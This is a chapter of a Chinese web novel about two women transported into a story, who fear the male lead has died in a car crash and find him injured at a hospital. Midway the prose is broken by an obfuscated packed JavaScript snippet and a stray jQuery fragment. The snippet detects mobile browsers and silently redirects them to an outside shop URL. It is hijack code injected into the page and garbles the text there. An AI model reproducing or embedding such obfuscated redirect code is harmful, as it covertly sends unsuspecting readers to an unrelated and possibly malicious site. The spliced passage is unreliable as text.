苏知禾满脸磕到了的姨母笑,跟着进了屋子。
一进去,就看到于向阳端端正正坐在沙发上,一脸乖巧听话的模样。
如此反常,于向晚倒吸一口凉气,虽然说他这个赔钱货哥哥人品不好,但是颜值还说得过去,算是小帅的那种,即便染了一头屎黄色头发,反倒有一种狂野的帅气。
如果不是她看过小说,差点被他的表象迷惑了。
于向阳根本没看他亲妹妹,目光一直追随着苏知禾。
苏知禾胳膊上冒起一片鸡皮疙瘩,她撇撇嘴,和于向晚上楼。
“等一下……”
于向阳叫住她,“那个……可以加个联系方式吗?”
苏知禾停下脚步回过头,左右两边看了看,然后指着自己:“我吗?”
于向阳也四处看看:“还有别人吗?”
被迫当隐形人的于向晚搬起小板凳准备吃瓜看戏。
苏知禾嘴角抽了抽,明明昨天还在嘲笑闺蜜被男主要联系方式,今天怎么就轮到自己了?
难道这就是报应?
于向晚是不给也得给,没得选择,苏知禾是非常不愿意给,她完全不想和小说里的NPC有除了剧情需要以外的任何接触。
何况这个男人还是个混子,说不定心里憋什么坏主意呢。
想玩她,门都没有。
“不好意思啊,我没有手机。”
苏知禾毫不留情面地回答。
于向阳愣了愣,这年代还有年轻人没有手机?
他不死心:“坏了吗?那可以先把你的号码给我吗?”
苏知禾没好气:“我不记得号码了,记性不好。”
小笨蛋,于向阳露出宠溺的笑:“没关系,等你想起来了再告诉我也行。”
苏知禾看着眼前听不懂人话的奇葩,用脚趾头都能猜到他想干什么,她意识到如果不明确拒绝,以后肯定会被缠上。
苏知禾双手交叉抱在胸前:“你不是我喜欢的类型,请你不要在我身上浪费时间。”
于向阳追问:“那你喜欢什么类型的?我都可以改变,是不喜欢我身上的衣服吗?还是发型不够酷?”
他对自己的黄毛可满意了,顶着这一头酷炫的头发去酒吧,数不清的小妹妹来找他要联系方式,他都没给。
都是一些庸脂俗粉,配不上哥的帅气。
殊不知人家是觉得他太装,单纯的想扩列,把他当个笑话看看,打发无聊时间。
苏知禾口味一直没变,从小到大只喜欢那种温润如玉的人,翩翩公子风,善解人意的大暖男。
像于向阳这种只会仗着家世到处作恶的恶霸,她看都不会看一眼,话都不想多说一句。
苏知禾觉得他无法沟通:“没什么事我就走了。”
她连拜拜都懒得说。
于向阳在后面喊:“你又不了解我,怎么知道我不是你喜欢的类型?为什么不能先接触接触呢?万一你会喜欢我呢!”
他根本不知道在苏知禾心里,他的形象堪比一坨大便。
苏知禾背对着他,忍不住翻白眼:“我讨厌黄毛,行了吧。”
“为什么啊?多酷啊?”于向阳不理解,嘴里嘟囔,“你是不是对黄毛有刻板印象?”
毕竟很多人一看到染着夸张发色的人,第一印象就是不务正业,就像纹身,哪个老实人会去纹。
完了,他胳膊上还纹着一条黑龙呢,要被苏知禾看到,更没机会了。
苏知禾回过头,似乎是对他的话很失望:“外形不是批判一个人的标准,我只是单纯的不喜欢你,不是对所有黄毛都抗拒,仅仅只是你。”
“别仗着自己有两个臭钱就欺男霸女,你除了吃喝嫖赌还会干嘛?我最看不惯你们这种自以为是的贱男人,以为有两个臭钱,全天下的女人都要围着你转吗?”
一字一句,犹如一支支锋利的箭,不停地扎在于向阳心上。
他觉得很委屈,不过就是好吃懒做了一点,他可什么坏事也没干啊。
“我没有……”
“行了行了,闭嘴吧。”苏知禾回过头,准备去楼上躲躲。
于向晚收到她的眼神,对于向阳说:“你先回去吧。”
“……”
于向阳脸耷拉着,像只受伤的小狗。
到了卧室,于向晚回忆剧情:“姐妹,虽然小说里写原主哥哥是个坏蛋,无恶不作,但我怎么看着不像呢?”
苏知禾猜测:“可能是时间没到呢,男主不也是还有几年才会黑化吗。”
于向晚点头:“有道理。”
她想起于向阳被自己扇两个巴掌也不会生气,还收留流浪狗送给林景年,并且真的对林景年非常客气,这么听话的一个人,真的有那么坏吗?
于向晚私心想为他说两句:“我觉得应该是有人在背后挑拨他做那些事,他的那些狐朋狗友,未必真的想他过好日子。”
人的嫉妒心是非常恐怖的,也许是有人嫉妒于向阳的家世,嫉妒他脸好看,总能吸引小姑娘……
男人之间的明争暗斗,比女人的可怕多了。
苏知禾才后知后觉刚刚那些话可能说得太过分了,毕竟于向阳对她态度挺好的,反倒是她自己,从上帝视角看人,先入为主他就是反派,自以为是的站在正义的一方去谴责他。
苏知禾虽然嘴巴毒,心却非常容易软:“那我要不要去跟他道个歉”
“我去看看他走没走。”
于向晚去开门,还没来得及往楼下看,一阵铃声将她视线拉回。
于向晚掏出手机,是一串陌生号码,她犹豫了一下,怕是原主的某个亲戚朋友,她一张嘴就露馅了。
犹豫半天还是接了,她把手机靠在耳边听对面讲话。
“您好,是于向晚女士吗?”
于向晚:“……”
听说最近的诈骗方式升级了,可以采集声音,然后用Ai模仿,再去找目标人物的亲朋好友借钱。
“您好,请问在听吗?”
那边的女声有点机械,于向晚还是不敢说话。
“请问车牌号江A66688是您的车吗?”
嗯?这骗子真牛,还能查到她的车牌号。
于向晚捏着鼻子说话:“嗯~”
接线员:“是这样的女士,这辆车在南环高架发生追尾事故,车上的伤者目前已经被送往医院救治,车辆暂时被我们拖到了交警大队指定停车场,现在需要您过来签个字。”
“什么?”于向晚松开鼻子,手控制不住颤抖,“他们在哪个医院?”
此时也不管是不是诈骗手段了。
接线员:“离得最近的市二院。”
得到准确地址,于向晚回头拉上苏知禾:“完了,男主出事了。”
连她自己都没注意到,她的声音已经带了哭腔。
于向晚十分自责,车是她安排的,司机也是她雇的,都怪她……
苏知禾看她急得不行,牵住她的手飞奔下楼,看到还坐在沙发上难过搓手指的于向阳,一把拉过他的衣领:“会开车吗?”
于向阳被吓一跳,小鸡啄米般点头:“会!会!”
苏知禾命令:“带我们去市二院,别问为什么,立刻行动。”
于向阳迅速进入状态,他的悍马就停在门口,急忙引路,上车,带她们往医院去。
路上湿滑,好在越野车性能好,如同一匹黑色野马在一群慢速乌龟车里乱窜。
于向晚紧紧拉住扶手,咬着唇,脸色煞白。
苏知禾将手放在她肩上安慰:“别担心,应该没什么大问题。”
于向晚低着头不说话。
苏知禾轻叹一声:“没想到你这么在乎他,别是动心了吧?”
闻言,于向晚才抬起头,看向苏知禾,眼中有泪。
碍于前面的于向阳,她不好直说,掏出手机给苏知禾发消息。
于向晚:你想多了,我只是在担心我们俩。
苏知禾疑惑:什么意思?
于向晚:如果男主死亡,那这个世界就会崩塌,然后消失。
苏知禾震惊:什么!!!
于向晚:就好比,这本以男主为核心的小说,如果失去了男主,那小说将毫无意义,一切后续故事都不会发生了。
苏知禾:我懂了,我们是因为男主的存在而存在,如果没有男主,就不会有我们,对不对?
于向晚:没错,如果林景年死翘翘了,我们也会消失,不管是小说里,还是现实里,都将不会再有你和我。
苏知禾手机从手里滑落,掉在脚垫上,她都没心思去捡了。
小命都要没了,还要那些身外之物干嘛。
她们怎么这么命运多舛呢,莫名其妙穿到小说里,永远见不到亲人,还要背负上原主的命运。刚刚把心态调整好,准备这辈子就这么将就过了,现在又要被抹杀掉……
两人瘫在座椅上,手拉着手,做好了最坏的打算。
唯一的安慰就是不用一个人孤独上路,好闺闺在身边,似乎也没那么害怕了。
车子很快就到了二院门口,于向晚立马跳下车,苏知禾挪了挪屁股,跟在她后面。
“等一下苏小姐。”
于向阳扭着腰头伸到后面:“我刚刚看到你拿手机了……”
苏知禾身子一顿,刚刚情况紧急,忘记在家里的时候,骗他说自己没有手机。
苏知禾感到脸上发热,她不情不愿地点开自己的微信二维码:“你加我吧。”
都要消失了,加就加吧,无所谓了。
于向阳乐呵呵的,立马扫了码,就怕晚一秒苏知禾会反悔。
苏知禾看了眼傻了吧唧的男人,突然一阵难过。
明明是那么真实的一个人,谁会想到竟是个纸片人,就要消失了,还傻不愣登地笑呢。
于向晚已经冲进急诊室里,见人就拉着问有没有因为车祸送来的两个男人。
拉了好几个护士都说不知道,毕竟这里天天人来人往。
一个责任护士刚好路过,问她:“是不是高架追尾送来的?”
“是是!”于向晚抽噎着:“一个大概四十多岁,长得一般,一个二十多岁,很瘦但是很帅……”
“哦,”护士回她,“没必要抢救,已经送去普通病房了。”
没必要抢救!
五个字如五雷轰顶,劈得她动弹不得,僵在原地。
完了,这么严重的吗?直接没有必要救了。
于向晚落下一滴泪,再见了豪宅,再见了豪车,再见了爱马仕……
苏知禾匆匆赶来,看于向晚跟丢了魂一样呆站在那一动不动。
她慢慢靠近,伸出手挽住于向晚胳膊:“是不是不太好?”
“没救了。”
于向晚艰难说出这三个字。
她的心好痛,就像被刀一下下猛扎,猛烈的痛感让她几乎要窒息。
苏知禾认命了,冷静下来,安慰于向晚:“没事,大不了再死一遍呗,反正我们都习惯了。说不定待会儿两眼一闭一睁,又跑到哪本小说里当路人甲去了。”
她提议:“哎,我们心诚一点,说不定下次给我们个主角当当。”
好好笑,于向晚抿着唇,嘴角忽上忽下,跟疯了一样,又哭又笑。
苏知禾嫌弃她丢人现眼,怕医院把她当神经病带走,捂住她的嘴。
“现在他们在哪呢?活要见人死就好好安葬吧。”
于向晚说:“在普通病房。”
“啊?”苏知禾觉得不对劲,嘎了不是送太平间吗?怎么去病房了?
她看了眼失魂落魄的于向晚,松开手自己去打听具体房间号,问清楚后,拉着于向晚找到住院部大楼,直奔病房。
找到房间号,苏知禾先进去,一眼就看到面前病床上,全身裹着绷带的人。
那人只露出两只眼睛,嘴巴上戴着呼吸机。
于向晚也看到了,她捂着自己的嘴,才控制住没哭出声,眼泪却止不住往下掉。
明明早上还在一起吃饭的人,现在竟然变成这副模样。
她紧紧咬住嘴唇,直到一股血腥味钻进口腔,浓烈的味道蔓延开。
悲伤也随之无限蔓延。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733848|208132||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她心疼林景年,想问问老天为什么不能眷顾他一下下,他受了那么多年的苦,好不容易过了几天好日子,突然间全部收回,还给了致命一击。
难道这就是虐文的威力?是不是小说作者发觉了不对,重新改写了剧情?或者直接删去这篇文,一切化为泡影。
于向晚放声痛哭起来,早就想发泄心里的不满和委屈了,之前为了活命一直忍着,现在没必要再控制了。
流的泪,是因为自己,因为闺蜜,也因为林景年。
就在她沉浸式痛哭时,身后的门被推开,护士走进来,提醒她:“麻烦您安静一点好吗?患者需要休息,不可以大声喧哗,探视病人的时候稍微控制一下情绪。”
发泄归发泄,道德还是要有的。
于向晚一秒闭嘴,靠在闺蜜身上,悄悄将鼻涕抹到她衣服上。
护士满意地点点头,然后对身后的人说:“检查报告还要再等一会儿出来,你先躺下休息,不要乱动,主治医生拿到报告会过来找你。”
身后传来一道熟悉的淡淡的声音:“谢谢。”
接着,那人从门外走了进来,径直往最里面的病床走去,脸朝着窗外,坐在床边。
于向晚和苏知禾两个人同时看过去,一时间没反应过来。
看了半天背影,于向晚抬手使劲擦眼睛,指着那边:“他他他……”
苏知禾跟林景年接触很少,情绪反应没于向晚那么大,她歪头去看男人正脸,然后松了口气:“搞了个大乌龙了姐妹,小白脸没死呢。”
林景年年纪比她们小,又瘦又白,又寄住在于家,苏知禾给他起了个外号,叫小白脸,但是没有贬低的意思,纯属因为外貌命名。
于向晚急忙跑过去,直到看清林景年的全脸。
然后她又哭了,这次是欣喜。
太好了,男主没死,世界不会崩塌,她还能继续住豪宅。
望着眼前梨花带雨的女人,林景年那张本来淡漠的脸,注入了几分鲜活。
在走廊就听见屋里有女人嚎啕大哭的声音,只觉得声音熟悉,但他并不觉得是心里想的那个人。
即便她有所改变,对他不那么苛刻了,但也不至于到为他痛哭的地步。
显然,他想错了。
鬼哭狼嚎的人就是于向晚。
病房消毒水味道太重,他不喜欢。
意料之外的事情,让他一时无措。
头上包扎的地方,麻药过后,开始一阵阵钻心地痛。
于向晚吸了吸鼻子,抽噎着说:“你没事就好,吓死我了。”
林景年静静地望着她,心里有种奇怪的感觉。
她的眼泪是为他而流的吗?
于向晚眼睛通红,鼻尖也红红的,脸却煞白,形成鲜明的对比,林景年手指动了动,心里有一股冲动,想不顾一切去拥抱她。
林景年被自己这个无理的想法吓到了,不仅仅是逾矩,还很疯狂。
于向晚睁着水汪汪的大眼睛,上上下下来回看林景年,他额头上包了一圈纱布,右胳膊打了石膏,用绷带吊在脖子上,虽然没死,也受了不轻的伤。
“医生怎么说?你现在还有哪里不舒服的吗?”
“疼不疼啊?看着很严重的样子。”
“都怪我,不应该让你坐周叔的车……对了,周叔怎么样了?”
于向晚看向另一边床上全身裹着绷带的人,有一种预感。
苏知禾看到床头的资料卡:“不是他,这个人不姓周。”
于向晚吐气,没等放松一秒,立马又提起,想起护士口中“没必要抢救了”这句话,难道说的是周叔?
她看向林景年,口中那些庆幸他没事的话再也说不出口。
房间里安静下来,只有隔壁床的心电监护仪在有一下没一下地响。
于向晚擦干泪,稳住心态,准备去联系周叔的家属,交待后事。
刚迈出两步,从门外进来两位穿制服的交警。
前面那人到林景年旁边问:“你家属来了吗?”
“我我,我是他家属。”于向晚急忙举手抢答。
交警看向她:“你是车主吗?因为这次事故是你们的全责,对方要求赔偿,不然就起诉了。”
于向晚点头:“既然认定是我们全责,多少钱我都赔,等保险公司定损后,我会叫人把钱打过去,不会推脱的。”
事情比较麻烦,于向晚问:“那对方的人有受伤吗?严不严重?”
交警说:“对方司机已经检查过了,没什么大碍。”
于向晚松了一口气:“那就好。您放心,我一定会赔偿他们各项损失费和医疗费。”
交警看她态度很好,叮嘱了几句交通安全知识,就离开了。
护士接着进来,问了同样的话:“你是2号床的家属吗?”
于向晚再次确认:“是的,怎么了?”
护士说:“一起送来的还有个中年人,现在已经处理好了伤口,这层病房满了,安排在楼下的房间里,既然你是家属,就过来把费用交一下吧。”
“什么?”于向晚拉住要走的护士,“那他伤势怎么样?严重吗?”
护士回她:“外伤,估计过两天就能出院了。”
天菩萨!于向晚一下瘫坐在地上,这大起大落的剧情,都要给她整崩溃了。
她两手抱着脑袋,努力平复心情。
不知不觉,又开始流泪。
还好老周没事,不然她就会觉得是自己的安排害了别人,以后的日子怕是不会再有一个好觉了。
苏知禾从口袋里掏出纸巾,想上前递给于向晚,有人却比他快了一步。
林景年一直没说话,这个女人,现在似乎脆弱得很,动不动就哭哭啼啼。
他应该感觉烦,可是心里不舒服,跟着她的抽泣,心像被一只无形的手攥住,一下下收紧,又酸又痛。
想起那天在暴雪中,于向晚替他撑着伞,接纳他崩溃的情绪。
林景年起身,也学着她,将人揽入怀中,轻轻拍着后背,声音温柔似水。
“不怕不怕。”